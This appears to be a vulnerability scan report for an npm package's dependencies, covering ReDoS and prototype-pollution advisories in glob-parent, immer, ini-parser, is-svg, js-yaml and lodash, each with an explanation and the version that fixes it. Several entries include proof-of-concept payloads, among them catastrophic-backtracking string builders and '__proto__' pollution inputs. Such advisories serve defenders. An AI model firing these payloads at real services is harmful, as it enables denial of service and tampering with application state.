function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}

return ret;
}

globParent(build_attack(5000));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade glob-parent to version 5.1.2 or higher.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: immer
  • Introduced through: react-dev-utils@6.1.1

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 immer@1.7.2

Overview

immer is a package that allows you to create your next immutable state by mutating the current one.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition (p === "__proto__" || p === "constructor") in applyPatches_ returns false if p is ['__proto__'] (or ['constructor']). The === operator (strict equality operator) returns false if the operands have different type.

PoC

const {applyPatches, enablePatches} = require("immer");
enablePatches();

// applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// console.log(polluted); // Error: [Immer] Patching reserved attributes like __proto__, prototype and constructor is not allowed

applyPatches({}, [ { op: 'add', path: [['__proto__'], 'polluted'], value: 'yes' } ]);
// applyPatches({}, [ { op: 'replace', path: [['__proto__'], 'polluted'], value: 'yes' } ]);
console.log(polluted);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade immer to version 9.0.6 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: ini-parser
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 ini-parser@0.0.2

Overview

ini-parser is a package to parse .ini files.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

PoC

var a = require("ini-parser");
a.parse('[__proto__]\ntoString=JHU');
console.log({}.toString);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for ini-parser.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: is-svg
  • Introduced through: css-loader@0.26.4 and optimize-css-assets-webpack-plugin@3.2.0

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 is-svg@2.1.0
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 is-svg@2.1.0

Overview

is-svg is a Check if a string or buffer is SVG

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input for a very long time.

You are only affected if you use this package on a server that accepts SVG as user-input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade is-svg to version 4.2.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: is-svg
  • Introduced through: css-loader@0.26.4 and optimize-css-assets-webpack-plugin@3.2.0

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 is-svg@2.1.0
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 is-svg@2.1.0

Overview

is-svg is a Check if a string or buffer is SVG

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the removeDtdMarkupDeclarations and entityRegex regular expressions, bypassing the fix for CVE-2021-28092.

PoC by Yeting Li

//1) 1st ReDoS caused by the two sub-regexes [A-Z]+ and [^>]* in `removeDtdMarkupDeclarations`.
const isSvg = require('is-svg');
function build_attack1(n) {
var ret = '<!'
for (var i = 0; i < n; i++) {
ret += 'DOCTYPE'
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack1(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

//2) 2nd ReDoS caused by ? the first sub-regex  \s*  in `entityRegex`.
function build_attack2(n) {
var ret = ''
for (var i = 0; i < n; i++) {
ret += ' '
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack2(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}


//3rd ReDoS caused by the sub-regex \s+\S*\s*  in `entityRegex`.
function build_attack3(n) {
var ret = '<!Entity'
for (var i = 0; i < n; i++) {
ret += ' '
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack3(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

//4th ReDoS caused by the sub-regex \S*\s*(?:"|')[^"]+  in `entityRegex`.
function build_attack4(n) {
var ret = '<!Entity '
for (var i = 0; i < n; i++) {
ret += '\''
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack4(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade is-svg to version 4.3.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: js-yaml
  • Introduced through: css-loader@0.26.4 and optimize-css-assets-webpack-plugin@3.2.0

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade js-yaml to version 3.13.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

PoC

const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123])
console.log(z) // 123

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.16 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1
    Remediation: Open PR to patch lodash@3.10.1.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

POC

var lo = require('lodash');

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)

var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)

var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

